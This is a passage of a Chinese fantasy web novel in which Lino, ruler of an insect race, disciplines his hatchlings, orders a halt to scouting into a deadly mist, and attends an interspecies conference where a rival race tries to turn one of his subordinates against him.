“我把希尔维乌斯阁下给您雕的玉像弄坏了，妈妈对不起，我只是想亲亲玉像妈妈，太用力就……” 小虫们叽叽喳喳，每说一条，利诺的脸就黑一分。 赫弥珞的心情更称不上好，安瑟姆居然打印冕下的照片，还有希尔维乌斯，竟然有冕下的雕像？！ 在这种氛围下，赫弥珞思维发散，猜测冕下是否真的喜欢七彩发色的虫？ 利诺看向最后一个没说话的幼子，这只从虫蛋里就最乖巧的虫。 小虫抿起苍白的唇：“妈妈对不起，我有把父亲弄死、继承他在您心中地位的想法。”只是还没有开始实践。 剧烈的疼痛在利诺子嗣的脑中乍现，那是虫母对这十一只小虫不满的精神反馈。 小虫们的眼睛里蓄满泪珠，却不敢看利诺的神情。 疼痛的意识海告诉他们，他们的妈妈很生气。 利诺这些时日精神力一直在增长，稍微没收住力，这间议事用的宫殿摇晃不稳，支撑穹顶的石柱断裂崩塌，粉尘噗噗往下掉落。 赫弥珞第一时间抱起利诺，朝外面冲。 议事的宫殿塌了，因为利诺增强的精神力。 小虫们紧随其后，一只只如丧家之犬，想询问妈妈还好不好都不敢。 妈妈可能还在生气。 “冕下！”在虫宫其他宫殿的虫族跑了出来，第一时间想到利诺，匆匆问询冕下的安危。 安瑟姆戴着一个从人类那里买来的围裙，没来得及解，他正按照人类的食谱给小虫母做吃食。 伊戈提安皱眉：“工蚁什么时候做事这么敷衍，宫殿说塌就塌，伤到冕下怎么办？” 拉斐尔戴好因仓促赶来而显得歪斜的眼镜，精神力感受到了利诺的精神力残留，他看向利诺：“是冕下的精神力？” 利诺眨眨眼，点头：“抱歉，我一时间没控制住精神力的外泄。” 拉斐尔温柔：“冕下无事便好。” 就你会说话！伊戈提安瞥了眼卖乖的拉斐尔，扭头对利诺笑道：“没错，只要冕下没有受伤就是最好的！不过什么事让您这么生气？” 英俊的虫族把手放在腰间的配剑上，冒出杀气：“我替您解决。” “冷静点，伊戈提安。” 利诺看向惶惶不安的小虫们，头疼，说实话，除了打伤希莱耳和克凛恩以外，这些虫也没做出太过分的事情，顶多是恶作剧？ 可光恶作剧这一项就在虫族很罕见，许是继承了他小时候的调皮？ 利诺按住眉角，但他小时候也没调皮捣蛋过，而是把用不完的精力转化成战斗技巧，在没成年的时候就跟着大部队去砍丧尸啊！ 小孩是必须要管的，现在恶作剧，以后就有可能做出伤害整个虫族的事情。 利诺绝不允许这些事。 当着众多虫族的面，利诺叹了口气，对小虫们道：“我知道，你们才破壳，是幼虫，做错事是难免的。” 利诺补充：“但是你们不应该无所顾忌，在我的眼中，亲生子嗣和其他的虫族没有任何差别，你们的身份不会比任何虫族都高上一等。” “妈妈，我们知道错了，没有下一次了。”小虫们低头，只想让妈妈不再生气。 “这一次我不再追究，但你们需要向你们冒犯过的虫认错。” 利诺算是结束了这场对子嗣的教育，把小虫们打发走，他立即在寝殿的大床上摊成一张饼，抱怨：“养小孩好难！” 青年气鼓鼓的，在床上来回翻滚，稚气未脱。 赫弥珞也觉得小虫难搞，他沉思了下，提出建议：“您要是觉得麻烦，不如把他们扔到偏远星球去驱散迷雾？” 这叫眼不见心不烦。 利诺坐起来，不敢置信：“赫弥珞，他们才刚破壳，你就要丢他们？” 完全没有父爱的赫弥珞不觉得自己做的有问题，无辜道：“难道不行吗？” 还有一点点母爱的利诺想了想：“好像……确实可行？” 星系周围仍旧被迷雾包裹，这些子嗣足够强大，完全可以再度拓展虫族的领土。 而且，他上辈子好像在哪本书里看到过，小孩子吃吃苦头，往往会培养出更优良的品质？虽然小虫们此时算是成年，性格也定了型…… 伊戈提安叼着根棒棒糖，这糖自然也是人类那里进的货：“小虫应该磨练磨练，不然太肆无忌惮了！” 最肆无忌惮的伊戈提安，说别的小虫肆无忌惮，包括利诺在内的虫族表情微妙。 伊戈提安毫不在意，解开包装纸，贴在利诺身边把新的棒棒糖递过去：“冕下，草莓味的糖，你之前就说我的蜜液喝起来像草莓。” 利诺张口含住，想了想：“先让他们留下宫殿一段时间再说。”省得他们以为被妈妈抛弃了。 除非一些特殊兵种，几乎所有军部的虫族都是这样，他们有很长的一段时间会在其他的星系、其他的星球去驱散迷雾。 军长也不例外，三军和四军的军长此时代替了五军和六军的工作，在拉圣腓星系边缘开拓3号星系，五军和六军则在蓝星休整。 一军和二军的部分士兵也在蓝星所在的阿尔法星系边缘巡逻，遇到侵入的迷雾就驱散。 草莓的味道在口腔里散开，利诺在心底点评，不如伊戈提安好吃。 利诺嘎嘣嘎嘣把草莓棒棒糖咬碎，说起另外一件事：“我要去参加灰塔族的会议，应该准备些什么？” 这个会议对所有的种族来说都很重要，毕竟事关种族的生死和迷雾的入侵，利诺肯定需要慎重一些。 奈何他没有相关经验，虫族也没有相关的经验。 幸好他们有博览群书的衣鱼，手握上个种族残留文明的拉斐尔回答：“冕下，我已经让外交院准备了，蓝星原种族文明的部分书籍有相关的记载，我们可以效仿。” 外交院是虫族为应对人族和未来的其他种族而在近日成立的，里面的虫战力不强，但就跟科研院的虫擅长研究一样，擅长外交。 利诺不用多问了，他的下属们办事能力很强，很多事情都不用他多问，就可以迅速处理。 只是，现在利诺的下属们用竖瞳齐齐看利诺，问：“冕下，您今晚想吃谁的蜜液？” 利诺摸鼻子，就是得力下属太多了也不好办，每次进食的选择，犹如皇帝翻后宫妃子的牌子。 第69章 接下来，利诺安心在虫宫内接受虫族大佬们的教导。 他要学的很多，管理一个种族，需要的不仅是武力，简单来说，利诺必须懂得“统治”二字。 虫族的每个星球会设有仅次于蓝星最高军部的军部，最高掌权是军长和总参某。 星球军部的军长会将有关迷雾和战争的大事往蓝星最高军部汇报，而星球军部的总参谋会则是负责非迷雾的要事，挑出重要的进行汇报。 虽然四个星系的面积大到无法想象，但虫族的星网蔓延所有领地，通讯无阻，而且虫母的诞生意味着即使星网无法使用，也能够通过意识海沟通虫母。 在利诺出现前，这种方式便一直通用，只是这些星球不是现在的完全归属，那些星球军长和总参某不会太注重这种汇报，倾向自治。 但如今不同了，虫族有了将所有虫群汇聚在一起的虫母，他们以虫母为核心建立萨那加帝国，没有哪个驻扎在星球上的军部不愿意效忠虫母，以虫母的意志为唯一。 如果不是因为怕虫母看太多无用的信息而累到，估计这些军长和总参某会以每日三餐的频率向总军部发消息，问冕下今日好不好、吃得好不好，睡的好不好。 虫族对虫母虽狂热，但保有最基本的理智，他们只会按照帝国的要求，汇报重要的事。 总军部则会将其再分等级，让利诺能够最先看到最重要的文件。 而利诺只需要一句话，蓝星军部就会和其他星球的军部迅速反应行动，实现冕下的要求。 松散的虫群因为母亲的诞生，高效高率，有条不紊，宛若一个真正的整体。 利诺坐在椅子上，滑弄与书桌一体的面板，去批注文件，书桌是工蚁们专门为利诺制造的，无论是人形还是虫型，都足够舒适。 房间内除了利诺，还有负责指导他的老师拉斐尔，利诺忙，拉斐尔也不轻松，他有自己的工作需要处理，只能忙里偷闲，看上一眼小蝴蝶再不舍地垂头看厚厚的文件。 利诺把批过的文件挑出几个，发给拉斐尔，道：“你看这些。” 衣鱼的触角微动，他看文字的速度比利诺要快得多，不过几秒看完，并迅速总结出其中的相似点：“冕下，你是想说星系边缘的迷雾发生了变化？” 利诺点头：“这些是边缘星球的军长送来的报告，他们都观测到这些天笼罩星系边缘的迷雾有了躁动。” “莫非，是迷雾要搞大动作？”涉及迷雾的变化，拉斐尔嘴角擒着的微笑淡下去。 “迷雾是没有意识的，拉斐尔，科研院研究出错的概率很低。”利诺沉声，“最大的可能是，迷雾之门有了变化。” 四个星系周围迷雾同时躁动不安，对虫群的领地蠢蠢欲动。 拉斐尔站起来：“冕下，需要派虫先去探查一番吗？” 利诺将另外一个文件传给拉斐尔：“这就是我要说的另外一件事情。” 拉斐尔放大，拧眉：“卓姆索尔说他派出去的一支侦查小队被吞掉了？” “没有进入门，在迷雾内就失去了联系。”利诺的心情很压抑，“那是一百只中级虫族，在我看到这消息的时候，我的意识海坠落了五十颗星点。” 这意味着什么，不言而喻。 利诺清楚地明白，对抗迷雾一定会有死亡，千百年来无数虫都死在了迷雾中，可他还不是虫母时，就会因为同族的牺牲而低落。 如今更是不舒服，尤其是在意识海内感受那五十颗星点如流星坠落。 他甚至没有真正见过这些死去的虫，而星点坠落前仿佛感知到了他的伤心，用最后的一瞬闪烁来安慰他，随即彻底黯淡。 见过很多的死亡，也习惯了太多的死亡，利诺自己就可以瞬间调整。 面对拉斐尔担忧的目光，利诺反而宽慰：“不用担心我，我很好。” 他不会把时间浪费在这种无用的负面情绪上，他现在最应该做的是避免更多的伤亡。 利诺命令：“所有驻扎边境的军队从这刻开始，面对异常迷雾不必再进入侦查，全部有关开拓边境的行动暂停。” 这道命令不只是对拉斐尔说，而是随着虫母精神力的扩张，通过意识海而传递给每个星球上的军部虫族。 “遵命，冕下。”拉斐尔单膝，与远在其他星系的虫一样，忠诚与服从。 利诺这才对拉斐尔说出他的打算：“等灰塔会议结束，我会亲自进入迷雾中。” 拉斐尔脸色大变，猛地摇头，提高声音：“冕下，不行，您要是遇到危险怎么办？” 利诺并不准备听拉斐尔的话，拉斐尔更加着急：“死去的虫族小队是身经百战的精锐，都无声无息被迷雾吞噬，连原因都不知道……您……” 这只连杀怪物都偏向从容优雅的虫族，在发觉冕下用沉默来坚持他的决定后，猛往前走了几步，温和的虫瞳雾蒙一片，竟是要急哭了。 “拉斐尔，你、你先冷静，我这么做是有原因的的。”利诺没想到沉稳的拉斐尔反应会这么大。 夭寿了，拉斐尔大总参某被自己两句话给搞哭了，这说出去谁能信？ “冕下，我不会接受任何失去您的可能性！我见到了你，拥抱了你，利诺，我会死的。”拉斐尔连惯用的尊称都没有再用。 偌大的宫殿内，因为办公的原因，只有利诺和拉斐尔，因此，拉斐尔的反常也只有利诺可以看到。 虫族期盼虫母太久了，拉斐尔比起之前的几位衣鱼前辈，足够幸运，他迎来了虫母的诞生。 尤其是小虫母还那么好，尽管从一只普通虫突然蜕变成第一只也是唯一一只的虫母，他也努力适应新的身份，训练、学习，甚至孕育虫蛋。 拉斐尔为虫母着迷，不是因为他那过于漂亮的脸蛋，而是他的灵魂，他谈起知识时的自信和小得意，训练时再累也不愿放弃的坚韧…… 小蝴蝶是虫母，可他本身却比虫母这个称谓还要耀目。 虫母可以让所有虫族都臣服，可利诺的魅力让所有虫族都深爱他。 他是虫母，也是利诺。 拉斐尔不介意利诺喜欢去迷雾之门，因为他和起亚的虫族都有把握护住他。 可现在不同，那报告里吞噬精锐虫族的异常迷雾，莫名躁动的迷雾……一切让拉斐尔心下不安，而就在这时，他的冕下说，他会进入表现异常的迷雾。 那怎么可以？万一他们失去了冕下怎么办？ 也许旧的虫母死去，新的虫母会诞生，可那不再是他的小蝴蝶，他只会认利诺，只愿意跪在名为利诺的蝴蝶的腿边。 不止他，拉斐尔想，即使和那些虫族是竞争关系，但他们会做出和他一样的选择来。 拉斐尔压根没听到利诺的后一句话，而满脑子都是怎么劝利诺打消这个可怕危险的念头。 要不，拉着所有虫族跪在宫殿外哭？哭到冕下改变心意？但那样的话，冕下会不会觉得受了胁迫而不高兴？ “……拉斐尔？”利诺走到拉斐尔跟前，蹲下来挥挥手，“我这么惜命，怎么可能去送死呢？” “我这么做肯定有我的原因。” 银灰色的竖瞳勉强憋出几滴眼泪，没办法，利诺现在很少需要用这招来达成自己的目的，如今他就算冷脸，也有的是虫愿意奉献。 利诺泪眼盈盈：“拉斐尔老师，我以为你是最懂我的，你会知道我这么做肯定有原因，但没想到……” 他失落地撇头，完美的侧脸因为扑簌滚落的泪珠和泛红的眼尾而显得脆弱至极。 “冕下，对不起。”拉斐尔的嗓音尚带着不太明显的哭腔，“我太担心了，我很怕您出事。” 他握住了利诺的手，放在自己的胸口，柔声道：“无论什么时候，冕下都不要把自己放到危险的地步，好吗？” “我不知道您从哪里养成了这种习惯，可我、虫族不需要您冒险。” 利诺总是这样，喜欢冲在前面，下意识挡在虫群前面，可明明他才是需要被保护的存在。 拉斐尔等虫在平时训练教导是时候，都在尽量纠正可效果不佳，就好像这已经成了利诺的本能。 保护根植于利诺的心中，无法改变。 拉斐尔在发抖，不是冷，也不是气，而是因为担忧他，这让利诺不免反思，他刚才真有那么过分吗？ 利诺抱住拉斐尔，用温暖的怀抱安抚住他的这位老师，道：“你还记得我之前给你说过的神门吗？” 在那次类似角色扮演的迷雾之门内，自称神明的萨亚约不仅亲了他一口，还恭喜他关上了一扇神门，离彻底驱散迷雾近了一步。 “你认为躁动的迷雾，就是神门。”拉斐尔将利诺重新放回座椅上。 利诺摸摸脸：“有种预感。” “不明存在说的话不一定可信，您的预感也不一定真实。”拉斐尔点明。 “可这是希望，拉斐尔，我不可能放过驱散迷雾的任何希望。”利诺遥望远处，“我想让虫族正常生活，而不是把所有时间都用来驱散无穷无尽的迷雾内。” 利诺想，既然两辈子都不在正常世界，那他就自己打拼一个出来！ 为了他，也为了虫族，乃至所有还在艰难求生的种族。 利诺拍拍脸，乐观道：“我可真棒！”他的格局怎么就这么大呢？ 小虫母越说越上头，好像下一刻就要去拯救宇宙了，拉斐尔没忍住，捏了捏利诺的鼻子：“冕下，您想太多了。” 利诺坚持道：“我多想想，没准儿就实现了。” “虫要有梦想！” 第70章 与虫族星系不知相隔多远的灰塔族所在星系内，已有多半的区域被划分为禁区。 迷雾扩张的速度有时快，有时慢，没有任何规律可言。 此时，灰塔族的中心星在迷雾入侵后，迎来了久违的热闹，花费灰塔文明几百年时间才搭建起来的空间门出现波动，一群不同灰塔那灰色皮肤的异族从门内走出。 负责迎接其他种族的灰塔族便连忙走上去，将其带离空间门，接下来也许还会有其他的星际种族从这扇门内走出来。 由红色玉石构成的空间门散发着温和的淡红色光芒，与藏匿在迷雾中的各色门相比，少了未知的危险，多了稳定的安全感。 随着灰塔将要组织举行的种族会议即将开始，这些天已经有不少还没有被迷雾吞噬的种族陆陆续续通过空间石过来。 这得益于灰塔和其他几个曾在星际处于顶尖地位的强悍种族对空间石的发现和研究，他们花费了相当大的精力，付出了不少同族的生命，与不少被迷雾包裹的星际种族联系上，并教导空间门的搭建方法和使用方式。 正如被送到地球上的灰塔大长老而言，在宇宙级的危机面前，种族间的大小矛盾都可以放下，团结和合作才有可能解决目前的困境。 高楼之上，灰塔族的现任族长虽在和其他种族来的首领或副首领客气交谈，但仍旧时不时会透过巨大的玻璃窗，注意空间门的动向。 “灰塔族长，你好像很期待虫族的到来？”体态纤长的男子缓缓踱步，他的四肢与其说是完全的血肉，更像是某种缠绕绚烂的星云，这是幻族的首领。 参加会议的名单早就在各个种族手中，新生的虫族不是秘密，却仍旧神秘。 在迷雾的侵蚀下，领地越发缩小，甚至一些技术和文明断代，这些还没灭亡的星际种族摒弃了帝国或联邦等形式，而趋向更原始的种族部落。 这是一种不得已的倒退，灰塔曾研究了所有能沟通上的种族，发觉迷雾降临的几千年时间内，各种族不仅没有任何科技进步，甚至文明在倒退。 “没错。”灰塔族长坦然道，“据我们了解，虫族是在迷雾降临后出现的新生种族，并且在此期间将领地扩展到了四个星系。” 他看向变了神色的幻族首领，微笑：“这意味着什么，相信我不用解释了吧。” 连那些以强大出名的种族都只能勉强保持自己的领地不被侵吞，可虫族却可以扩张自己的领土。 幻族首领的眸光闪了闪，回以同样的微笑：“是吗？” “情报绝对真实可靠。”灰塔族长很自信，因为他们灰塔就是靠情报起家的，有自己独特的方式。 幻族首领不再交谈，而是握着酒杯，绚烂的四肢急促变色，反应出他情绪的不稳。 灰塔族长轻笑了声，夹杂着隐隐的嘲讽，他是非常不喜欢幻族的。 这任的灰塔族长没有圆滑的性格，反而有股正气，眼里揉不得沙子。 他佩服虫族敢于驱散迷雾的勇气，也鄙夷幻族妄想与迷雾和睦相处、甚至将其奉为神明的懦弱。 幻族这种将其奉为神明不是伪族那种高层的掩饰，他们是真的把迷雾当做神。 可惜，灰塔不信这种贪婪蚕食一切生灵的神。 空间门的光芒大盛，又有一个种族到达灰塔母星，其中一个容貌极其艳丽的青年似乎察觉到目光，抬头，与高楼上的灰塔族长四目相对。 灰塔族长下意识朝青年笑着点头。 虫族到了。 利诺带来的虫不多，除却安瑟姆、伊戈提安和拉斐尔，就是安瑟姆从护卫队中挑选的二十来只虫。 护卫队如今不再是十二名，而是在安瑟姆的筛选下组成护卫军，负责利诺和宫殿的安全。 利诺发觉，他有点晕灰塔的这个空间门……此时他很想弱弱地趴到安瑟姆的身上，用清香的椰奶蜜液去缓解眩晕的不适。 然而现在不行，这里除了虫族，还有许多不同外貌的异族，他不能丢虫族的脸！ “冕下，吃块软糖。”安瑟姆将一枚薄荷味的自制软糖递到利诺嘴边。 安瑟姆果然是最贴心的虫！利诺很感动，将软糖咬到嘴里嚼，薄荷的清凉驱走眩晕。 “冕下您好。”灰塔族长从接待厅走下来，亲自迎接，并介绍自己，“我是灰塔现任族长德德鲁。” “你好，我是虫族的王利诺。”利诺与德德鲁握手，他在来的路上就想好了对外的称呼。 他绝对不会直说自己是虫母，于是变了个方式，虫族成立的萨纳加帝国的王。 “冕下，我们已等待您多时，请随我们来。”德德鲁不愧是族长，他握手的时间稍微长了些，即使因此而感受到其他虫族很不友善的目光，也非常淡定地松开利诺的手。 本来还交谈声不断的接待厅因为虫族的进入而寂静一片。 光是在迷雾中诞生的新种族这一点，就值得这些异族慎重对待。 “冕下，我听闻大长老说您喜欢人族的食物，因此特意准备了这些，希望您喜欢。”德德鲁说。 这时，极其熟悉的人影也走了过来：“冕下，又见面了。”来人正是联盟议会长巴纳巴斯，他身后的艾米丽一身军装，对着利诺俏皮地眨了眨眼。 人类这次也收到了灰塔族的邀请，这是他们第一次得知宇宙中还有其他种族的存在，也意味着他们正式被其他星际种族承认。 利诺和巴纳巴斯、德德鲁随意交流没多长时间，其他的星际种族也跟着回来和利诺等虫打招呼、混脸熟。 这种客套的方式和利诺上辈子参加幸存基地的宴会一样，因此他格外自然些，漂亮的脸蛋和不卑不亢的语气，让这些种族的族长对利诺有了不少好感。 拉斐尔能帮到利诺去和这些种族交流，至于安瑟姆等虫，利诺不让他们多说话，尤其是伊戈提安。 利诺认为伊戈提安开口，可能会引起一场种族大战，伊戈提安那张贱嘴，他在那个视频中可是切身体会过。 伊戈提安百无聊赖，就和安瑟姆一起，盯着利诺，目光灼热。 “冕下闻起来好香……”伊戈提安低声赞叹，利诺那天的“惩罚”让伊戈提安打开了新世界的大门。 伊戈提安很喜欢冕下拥抱他，亲吻他，吃光他翅膀的蜜液，但他更喜欢冕下咬他的翅膀，不客气地揉搓他的翅膀根部，将白皙的脚踩在他的胸膛，掐着他的脖子喊他乖狗狗。 “……收起你的口水，注意场合。”安瑟姆出言提醒。 伊戈提安擦了擦嘴，没口水，但若是安瑟姆不提醒，恐怕很快就要有了。 利诺不允许伊戈提安和其他种族搭话，但伊戈提安可以和安瑟姆对话。 他一边盯着利诺，一边对安瑟姆说：“你这种被冕下宠爱了的虫，哪里懂得我对冕下的渴望？” 伊戈提安幽怨道：“我长得不够英俊吗？肌肉不够好看吗？为什么冕下就是看不上我。” “……”安瑟姆从未见过大贱虫这种怨夫的语气，以至于他从利诺的身上移开了一秒钟后，看了眼伊戈提安。 “看什么看？”伊戈提安充满嫉妒，“向我炫耀你被冕下宠爱？” 安瑟姆神神在在，不再和伊戈提安对话。 他和冕下的事是他们两虫的，他不屑和其他虫用与冕下的亲密去炫耀。 尽管如此，安瑟姆还是不受控制地想到冕下浑身上下透着粉，发丝湿成缕，一边吧嗒吧嗒掉泪珠，一边又禁不住用指甲在他后背胡乱划拉的场景。 安瑟姆舔了舔干燥的唇。 “虫族的王，要来喝杯酒吗？”装满液体的酒杯被四肢绚烂的男性举到利诺的面前。 “冕下，这是幻族的首领奥。” 利诺微微抬头，眉微微蹙起，直视幻族首领。 “我们冕下不喝酒。”拉斐尔收起假笑，挡住利诺，面无表情地道。 奥摇晃酒杯：“为什么呢？冕下，酒可是好东西，你尝尝就知道了……还是说，冕下年纪还小，喝不了酒？” 他的目光悠悠：“冕下，要达成合作，酒可不能不喝。” 德德鲁很想一脚踢开奥，但场合原因，他只能暂时缓解变得尴尬无比的气氛。 他刚要说话，就被拉斐尔打断。 “听不懂通用语吗？”拉斐尔冷声。 就算是面对其他的种族，虫族也绝不容忍他们的虫母被冒犯。 奥因为虫族的杀气而有些畏惧，可他们幻族是大族，怎么能被一个新生的种族压下风头？ 幻族首领将酒杯放到侍者的托盘内，以调侃的语气道：“我只是作为一名长者，想好心教教小冕下，要是我没猜错，这应该是你们第一次参加这种场合吗？” “你哪来的脸？哪来的资格？”伊戈提安打量了下奥，然后就像是看小丑表演一样，轻嗤了声，“什么东西？不过如此连我族内刚出生的幼虫都比不上。” 伊戈提安口中的“幼虫”，特指那群因为捣蛋而被利诺无情镇压的小虫。 不得不说，如果两军对战，伊戈提安在战前说上几句，恐怕会把对方首领给气得头脑不清。 一声嗤笑和不以为意的目光，简直把仇恨值拉到极致。 利诺在意识海内半惩戒半奖励，捏了捏伊戈提安星点，惩戒他违背自己的要求，奖励他说的好。 他看幻族不顺眼，本想无视，但对方偏偏凑过来，还大言不惭，说什么教他喝酒。 呸！ 利诺内心活动丰富，表面上维持虫母的从容，这种时刻不需要他出面，他的得力下属就能把事给解决好。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 “野蛮！野蛮的种群！”奥不敢相信，真会有种族会在公开场合直接贴脸挑衅。 要知道，在类似灰塔会议这样多种族交谈的会议上，出席的两个种族即使有矛盾，他们在明面上也只会用软刀子互相攻击，维持基本的和谐。 奥以为虫族知道这些潜在的规则，所以才想试探试探虫族的反应，软弱的种族会沉默，强大的种族顶多回讽。 他的话语即便有些尖酸，但对面也只会用同样尖酸的话回怼。 但奥没想到，虫族竟然会直接骂他算什么东西。 奥在幻族已经处于即将步入老年的岁数，他这些年通过时空石和其他种族沟通过。 幻族毫无疑问是一个强大的种族，这让他在两个种族之间接触时从未遭受过像今日这般的侮辱。 幻族的首领气得浑身发抖。 “野蛮？虫族不会认可您的评价。”拉斐尔唇线拉直，他就算是文职，但在迷雾之门内厮杀的次数毫不逊色其他军长，面无表情的时候，身上的血腥杀意寸寸闪现。 他往前几步，直逼幻族的首领：“虫族只会对尊重冕下的种族友善，凡是不敬冕下者，虫族会回以最大的恶意。” 柔弱漂亮的虫母被虫族护住中间，高大的虫族各色的竖瞳流露毫不掩饰的血腥色彩。 这些能够贴身照顾利诺的虫族，挑出来哪一只都是在斩杀过上千名迷雾怪物的战士，他们的气势足以让这些没有真正接触过迷雾的种族首领恐惧。 他们屏住呼吸，视角内似乎看到了由残肢断臂组成的尸山血海，室内的恒定温度仿佛在极速下降。 奥的四肢在颤抖。 “好了。”一道声音打破寂静，恐怖的幻觉因此消失。 出声的是利诺，他扭头对灰塔族长德德鲁笑道：“我有些累了。” 德德鲁回过神，连连点头：“好，我让、不，我亲自带冕下和您的属下去准备好的休息处。” “有劳。”利诺微微颔首。 虫族浩浩荡荡跟着德德鲁等灰塔族离开接待厅。 许久，奥长长呼出一口气，招招手，从侍者那里拿起酒杯，酸涩的液体进喉，安下刚才动荡的心跳。 他刚才，竟然在害怕，那些野蛮的虫子，似乎真的要杀了他，原因只是他稍微挑衅了下他们的王。 奥不明白，利诺的形象和他的下属们完全是两个画风，那样柔弱的、更偏向地球人族的青年，怎么会被那些危险至极的怪物爱护至此。 没错，怪物，这些虫族都是怪物，是比起迷雾中的怪物还要可怕的存在。 这次的计划怕是要失败了……奥又是一口酒灌下去，又觉得不甘，难道他就这样什么也不做，然后无功而返吗？ 奥自从虫族进来后就一直在观察这些虫族，每一只都没有放过，他想到其中一只红色竖瞳的虫族，也就是讽刺挖苦他的可恶虫族，那虫分明有几次表现出不满的神色。 果然，就算是最忠诚的下属，也不会对自己的王完全尽忠，也有比起忠诚而言更浓郁的私心。 奥的唇角挂上一丝微笑，他想，就算虫族坚持驱散黑雾，和他们幻族站在对立面又如何，他有的是办法对付一个新生的、尚且稚嫩的种族。 虫族若是面临分裂的局势，肯定无暇再顾及外部的迷雾，到那时，他们幻族会有更多机会和概率去策反那些犹豫不决的种族。 奥带着自己的跟随们对暂替德德鲁的灰塔告了别，就先让虫族再嚣张几天。 他的目光扫过以灰塔族为首的坚持消灭迷雾的族群，轻蔑地想，迷雾才是最终的救赎，是宇宙的神，区区凡尘，又怎敢去撼动神的地位？ 另一半，利诺在行走时左脚绊了右脚，好在安瑟姆即使将他抱起，不然要砸到地板上了。 其他虫族立刻紧张地问：“冕下，您是不舒服了吗？” “冕下腿疼？难道是被刚才那只幻族给暗算了” “冕下我去杀了他！” “怎么会平地摔跤？莫非是地面不平？” “莫非是灰塔族在地面上做手脚，妄图摔伤我们冕下？” “……”德德鲁咽下一口口水，很想大喊一句，冤枉啊！他们即使想害命，也断不会用这种低下的、连幼崽都不屑用的手段。 利诺为即将蒙冤的灰塔说话：“和灰塔没关系，我觉得被什么东西盯上了……” 能够沟通到所有的虫族，这意味着虫母的精神力无比庞大。精神力的充沛使利诺对某些危险的感官更加敏锐。 就在刚才，他分明感知到一股极端的恶意笼罩在自己身上，猝不及防下，不小心自己绊了自己。 但恶意来的突然，去的也快，利诺找不到恶意的源头，只能大概感知到他似乎，是被什么危险的存在盯上了。 拉斐尔沉下声：“幻族？” 所有虫族蠢蠢欲动，只要利诺点头，他们会不顾一切，将对妈妈不利的都没呼吸铲除干净。 “不是。”利诺摇头，幻族对他有恶意，可这种恶意对他根本造不成威胁。 他问德德鲁：“名单上的所有种族都到了吗？” 德德鲁回忆：“冕下，在您离开前，所有我们邀请的星际种族都到了。” 他皱眉：“冕下，可是有什么不对？这里是我们的母星，对我们灰塔很重要。” 德德鲁相信利诺的敏锐感知，第一时间就是，莫非是有什么了不得的危险出现在了灰塔母星？ “不清楚，总之这些天你们也稍微警惕些。”利诺抚住胸口。 感知到的危险尚未到来，倒是幻族出来搞事了。 虫族在接下来的几天参加会议，会议的内容就是围绕迷雾进行，这些种族划分两派，一派坚持找寻迷雾出现的原因，驱散迷雾，让宇宙重归正常，而以幻族为首的一派则认为迷雾是无法战胜的，需要恭敬对待。 幻族甚至掏出一本他们祖先传下来的圣典，从中来论证迷雾就是神明，是需要信仰供奉的神。 看幻族念着圣典里不知所云的句子，神神叨叨，利诺简直要气笑了，偏偏还真有相当数量的种族相信。 有种族反对：“迷雾是没有生命和意识的，我们有充足的证据来验证这一点。” 幻族回答：“因为神还没有完全诞生，迷雾是他还在孕育的胚胎，需要时间来成熟。” 其他种族反驳：“供奉迷雾，迷雾就能不再吞噬宇宙和生命了吗？谁家好神会把整个宇宙吞完？” 幻族回答：“神只是在为诞生而补充能量，一旦神真正诞生，我们这些供奉神明的都会成为神的眷属，得到神的照拂。” “在此之前，我们需要用充足的血肉去喂神。” 利诺冷笑，他进入的那几扇门内，有过自称神明的存在，他们毫无例外，就算外形再恐怖，如泛滥的眼珠翅膀，给利诺的感觉也是祥和的，而非迷雾，利诺只有极致的厌恶。 “冕下，听说幻族是诞生在星云中的种族，所以他们……嗯……对传说中的神会很虔诚。”德德鲁解释他了解的一切。 星云绚烂且神秘，而大部分星际种族都会以星云作为占卜的力量源泉，而幻族在传说中是星云的子嗣，因此就算科技再发达，也没有断绝过对神秘侧的狂热追求。 “传说……”利诺支着下巴，随意问德德鲁，“每个种族都会有神明吗？” “这是当然，在灰塔的传说中，我们是由智慧之神创造的眷属。就灰塔的情报来说，几乎所有的种族都会有自己的神明，比如幻族，创造他们的是星云神，但在他们的圣典中，星云神已经陨落，所以他们会迫切寻找新的神明求庇护。” 德德鲁道：“不过到了现在，我们都是把传说中的神明当做本种族的一个文化符号，很少会真的信奉……幻族除外。” 利诺敲着桌面，虫族和灰塔族、人族的座位靠近，方便交流。 他问：“有哪个种族的神有六对白色羽毛翅膀，主体是大眼珠子的形象？” 没等德德鲁想，利诺右手边的巴纳巴斯提了提眼镜，说道：“这个形象很像末世前一个宗教的天使。” 利诺疑惑：“天使不是长着翅膀的漂亮小姐姐吗，头顶还会有光环的那种？” 巴纳巴斯纠正：“那只是部分人的臆想，事实上，天使没有性别，他们恐怖的外形是为了吓退引诱人类的美丽恶魔。” 人类议会长好奇地问：“冕下是如何得知的天使？” 利诺没有隐瞒：“在一扇迷雾之门内，我见过。”他摸了摸额头，他还被翅膀眼珠变成的男人亲吻赐福过。 巴纳巴斯不由惊异：“住真的？天使要是存在，那是不是代表……” 德德鲁接话：“我们种族中的神也是存在的？” “神若是存在，应该只是一种较为高等的生命形式。”利诺推测。 他看了眼还在滔滔不绝的幻族：“但肯定不会是迷雾。” 会议结束，利诺会到灰塔族为虫族准备的别墅中，他和安瑟姆以及拉斐尔就今天的见闻正说着话，伊戈提安神色怪异地打开门，走进来。 伊戈提安就算再不喜欢规矩，但进入利诺的房间内还是会敲门的，他的异常反应引起利诺的注意。 “你怎么了？刚才去哪里了？”利诺问。 伊戈提安挠挠头，怪异地说：“冕下，刚才有幻族拦住我，跟我说只要我想，他可以帮助我成为虫族新的王。” 天杀的，他伊戈提安明明只想成为冕下的虫夫！ 第72章 在那个幻族将伊戈提安请到角落，用得意洋洋的自信神情说出这句话的时候，伊戈提安很想把幻族的头给拧下来。 幻族真是没眼色，他们哪只眼看到他想以下犯上？ 他只想在床上对冕下以下犯上！ 不过伊戈提安被冕下叮嘱过，不能够对其他种族下手，因此按捺住暴躁的脾气，只冷冷扫了眼幻族和他身后的首领。 等会议结束，他一定会把这些幻族的脑袋全都拧下来堆在一起！ 伊戈提安的话一出口，这下不仅是伊戈提安，在场的所有虫面色都变得古怪起来。 利诺想了想，接着严肃地问：“幻族是不是傻子？” 虫族内的社会结构压根就不像其他大多数的种族，幻族都不打听清楚，就来仓促离间了吗？ “看来他们很急？”拉斐尔失笑，幻族的做法对他们来说，简直是天大的笑话。 